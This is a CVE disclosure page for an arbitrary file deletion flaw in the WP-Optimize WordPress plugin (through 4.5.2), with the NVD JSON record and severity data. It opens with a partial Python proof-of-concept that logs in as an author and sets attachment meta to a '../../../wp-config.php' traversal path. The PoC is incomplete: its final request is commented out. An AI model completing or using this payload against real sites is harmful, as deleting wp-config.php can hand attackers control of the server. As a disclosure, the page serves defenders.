CVE-2026-7252

# PoC Concept: Modify 'original-file' meta to delete wp-config.php import requests # Configuration target_url = 'https://example.com' username = 'author' password = 'password' attachment_id = 123 # ID of an existing attachment # 1. Authenticate session = requests.Session() login_data = {'log': username, 'pwd': password, 'redirect_to': target_url + '/wp-admin/'} session.post(target_url + '/wp-login.php', data=login_data) # 2. Update 'original-file' meta to target wp-config.php api_url = f'{target_url}/wp-json/wp/v2/media/{attachment_id}' headers = {'X-WP-Nonce': 'get_nonce_from_api'} # Need to fetch nonce first payload = { 'meta': { 'original-file': '../../../wp-config.php' } } # response = session.post(api_url, json=payload, headers=headers) # print(f"Status: {response.status_code}")

{"cve": {"id": "CVE-2026-7252", "sourceIdentifier": "[email protected]", "published": "2026-05-07T06:16:05.567", "lastModified": "2026-05-07T14:00:05.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Optimize – Cache, Compress images, Minify & Clean database to boost page speed & performance plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the unscheduled_original_file_deletion function in all versions up to, and including, 4.5.2 This makes it possible for authenticated attackers, with author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is possible because 'original-file' is a public (non-protected) meta key — it does not begin with an underscore — allowing Authors to freely create or modify it on their own attachment posts via the standard Edit Media form or the REST API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-optimize/tags/4.5.2/includes/class-updraft-smush-manager.php#L1645", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-optimize/tags/4.5.2/includes/class-updraft-smush-manager.php#L1649", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-optimize/tags/4.5.2/includes/class-updraft-smush-manager.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-optimize/trunk/includes/class-updraft-smush-manager.php#L1645", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-optimize/trunk/includes/class-updraft-smush-manager.php#L1649", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-optimize/trunk/includes/class-updraft-smush-manager.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3518513/wp-optimize/trunk/includes/class-updraft-smush-manager.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-optimize/tags/4.5.2&new_path=%2Fwp-optimize/tags/4.5.3", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cc815ef2-dd02-4faa-b202-dd1552f889db?source=cve", "source": "[email protected]"}]}}